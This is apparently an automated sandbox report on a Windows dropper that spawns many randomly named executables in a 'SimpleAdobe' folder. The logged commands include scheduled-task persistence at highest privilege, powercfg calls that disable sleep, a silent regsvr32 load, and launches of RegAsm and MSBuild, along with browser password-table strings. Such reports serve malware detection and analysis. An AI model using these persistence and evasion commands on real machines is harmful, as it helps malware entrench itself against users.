File opened: C:\Windows\system32\eecb8e3d148e90cd8ce98b246c214dcb08cf518c0aae8ec46d78507853acaa3fAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Jump to behavior

Source: C:\Users\user\Documents\SimpleAdobe\tXlQ3NLbQqxBkFS_TfaDHWX4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'

Source: C:\Users\user\Desktop\qk9TaBBxh8.exe

File read: C:\Windows\System32\GroupPolicy\gpt.ini

Jump to behavior

Source: C:\Users\user\Desktop\qk9TaBBxh8.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmp, eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000002.2816985403.0000000000255000.00000002.00000001.01000000.0000000C.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmp, eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000002.2816985403.0000000000255000.00000002.00000001.01000000.0000000C.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = sqlite_rename_table(sql, %Q), tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2802010279.0000000006694000.00000004.00000020.00020000.00000000.sdmp, zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2825178536.00000000019EB000.00000004.00000020.00020000.00000000.sdmp, zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2802147748.0000000006698000.00000004.00000020.00020000.00000000.sdmp, zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2803504037.0000000006694000.00000004.00000020.00020000.00000000.sdmp, zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2802782433.0000000006686000.00000004.00000020.00020000.00000000.sdmp, zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2803689741.0000000006698000.00000004.00000020.00020000.00000000.sdmp, eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000003.2800207275.00000000013D8000.00000004.00000020.00020000.00000000.sdmp, eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000003.2801712120.00000000013D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: qk9TaBBxh8.exe	ReversingLabs: Detection: 36%
Source: qk9TaBBxh8.exe	Virustotal: Detection: 25%

Source: zFe0EAtgy56yDxXht4nmozfb.exe

String found in binary or memory: https://www.maxmind.com/en/locate-my-ip-address

Source: unknown	Process created: C:\Users\user\Desktop\qk9TaBBxh8.exe "C:\Users\user\Desktop\qk9TaBBxh8.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetSvcs -p -s NcaSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Process created: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Process created: C:\Users\user\Documents\SimpleAdobe\EWdN3bvBjxAbF1GyzHE7_p73.exe C:\Users\user\Documents\SimpleAdobe\EWdN3bvBjxAbF1GyzHE7_p73.exe
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Process created: C:\Users\user\Documents\SimpleAdobe\70Leo0eE867BJ4vm1aky3Uk3.exe C:\Users\user\Documents\SimpleAdobe\70Leo0eE867BJ4vm1aky3Uk3.exe
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Process created: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Process created: C:\Users\user\Documents\SimpleAdobe\FSYOvyvMMT80PCsMousFK1Xa.exe C:\Users\user\Documents\SimpleAdobe\FSYOvyvMMT80PCsMousFK1Xa.exe
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Process created: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Process created: C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Process created: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Process created: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Process created: C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Process created: C:\Users\user\Documents\SimpleAdobe\tXlQ3NLbQqxBkFS_TfaDHWX4.exe C:\Users\user\Documents\SimpleAdobe\tXlQ3NLbQqxBkFS_TfaDHWX4.exe
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Process created: C:\Users\user\Documents\SimpleAdobe\TUBbflj40zqtNIEKWH_MWjeG.exe C:\Users\user\Documents\SimpleAdobe\TUBbflj40zqtNIEKWH_MWjeG.exe
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Process created: C:\Users\user\Documents\SimpleAdobe\cjlnYlPYSIAljKunxGKtil91.exe C:\Users\user\Documents\SimpleAdobe\cjlnYlPYSIAljKunxGKtil91.exe
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Process created: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Process created: C:\Users\user\Documents\SimpleAdobe\bKj5ORDxbqgwdZav4hyONQmM.exe C:\Users\user\Documents\SimpleAdobe\bKj5ORDxbqgwdZav4hyONQmM.exe
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Process created: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Process created: C:\Users\user\Documents\SimpleAdobe\ocI8OvNXSYwHw7Rg5l6_f8IK.exe C:\Users\user\Documents\SimpleAdobe\ocI8OvNXSYwHw7Rg5l6_f8IK.exe
Source: C:\Users\user\Documents\SimpleAdobe\FSYOvyvMMT80PCsMousFK1Xa.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Documents\SimpleAdobe\cjlnYlPYSIAljKunxGKtil91.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Documents\SimpleAdobe\cjlnYlPYSIAljKunxGKtil91.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\SimpleAdobe\FSYOvyvMMT80PCsMousFK1Xa.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\SimpleAdobe\cjlnYlPYSIAljKunxGKtil91.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe "C:\Windows\System32\regsvr32.exe" -s .\SZM3Yb.I -u
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Users\user\Documents\SimpleAdobe\TUBbflj40zqtNIEKWH_MWjeG.exe	Process created: C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp "C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp" /SL4 $20402 "C:\Users\user\Documents\SimpleAdobe\TUBbflj40zqtNIEKWH_MWjeG.exe" 3022131 52224
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 3108 -ip 3108
Source: C:\Users\user\Documents\SimpleAdobe\bKj5ORDxbqgwdZav4hyONQmM.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST
Source: C:\Users\user\Documents\SimpleAdobe\bKj5ORDxbqgwdZav4hyONQmM.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\Users\user\Documents\SimpleAdobe\bKj5ORDxbqgwdZav4hyONQmM.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Users\user\Documents\SimpleAdobe\bKj5ORDxbqgwdZav4hyONQmM.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Process created: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Process created: C:\Users\user\Documents\SimpleAdobe\EWdN3bvBjxAbF1GyzHE7_p73.exe C:\Users\user\Documents\SimpleAdobe\EWdN3bvBjxAbF1GyzHE7_p73.exe	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Process created: C:\Users\user\Documents\SimpleAdobe\70Leo0eE867BJ4vm1aky3Uk3.exe C:\Users\user\Documents\SimpleAdobe\70Leo0eE867BJ4vm1aky3Uk3.exe	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Process created: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Process created: C:\Users\user\Documents\SimpleAdobe\FSYOvyvMMT80PCsMousFK1Xa.exe C:\Users\user\Documents\SimpleAdobe\FSYOvyvMMT80PCsMousFK1Xa.exe	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Process created: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Process created: C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Process created: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Process created: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Process created: C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Process created: C:\Users\user\Documents\SimpleAdobe\tXlQ3NLbQqxBkFS_TfaDHWX4.exe C:\Users\user\Documents\SimpleAdobe\tXlQ3NLbQqxBkFS_TfaDHWX4.exe	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Process created: C:\Users\user\Documents\SimpleAdobe\TUBbflj40zqtNIEKWH_MWjeG.exe C:\Users\user\Documents\SimpleAdobe\TUBbflj40zqtNIEKWH_MWjeG.exe	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Process created: C:\Users\user\Documents\SimpleAdobe\cjlnYlPYSIAljKunxGKtil91.exe C:\Users\user\Documents\SimpleAdobe\cjlnYlPYSIAljKunxGKtil91.exe	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Process created: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Process created: C:\Users\user\Documents\SimpleAdobe\bKj5ORDxbqgwdZav4hyONQmM.exe C:\Users\user\Documents\SimpleAdobe\bKj5ORDxbqgwdZav4hyONQmM.exe	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Process created: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Process created: C:\Users\user\Documents\SimpleAdobe\ocI8OvNXSYwHw7Rg5l6_f8IK.exe C:\Users\user\Documents\SimpleAdobe\ocI8OvNXSYwHw7Rg5l6_f8IK.exe	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\EWdN3bvBjxAbF1GyzHE7_p73.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\FSYOvyvMMT80PCsMousFK1Xa.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe "C:\Windows\System32\regsvr32.exe" -s .\SZM3Yb.I -u
Source: C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\tXlQ3NLbQqxBkFS_TfaDHWX4.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\TUBbflj40zqtNIEKWH_MWjeG.exe	Process created: C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp "C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp" /SL4 $20402 "C:\Users\user\Documents\SimpleAdobe\TUBbflj40zqtNIEKWH_MWjeG.exe" 3022131 52224
Source: C:\Users\user\Documents\SimpleAdobe\cjlnYlPYSIAljKunxGKtil91.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\SimpleAdobe\cjlnYlPYSIAljKunxGKtil91.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST
Source: C:\Users\user\Documents\SimpleAdobe\bKj5ORDxbqgwdZav4hyONQmM.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\Documents\SimpleAdobe\bKj5ORDxbqgwdZav4hyONQmM.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\Users\user\Documents\SimpleAdobe\bKj5ORDxbqgwdZav4hyONQmM.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Users\user\Documents\SimpleAdobe\bKj5ORDxbqgwdZav4hyONQmM.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Source: C:\Users\user\Documents\SimpleAdobe\bKj5ORDxbqgwdZav4hyONQmM.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\bKj5ORDxbqgwdZav4hyONQmM.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\bKj5ORDxbqgwdZav4hyONQmM.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\bKj5ORDxbqgwdZav4hyONQmM.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 3108 -ip 3108
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
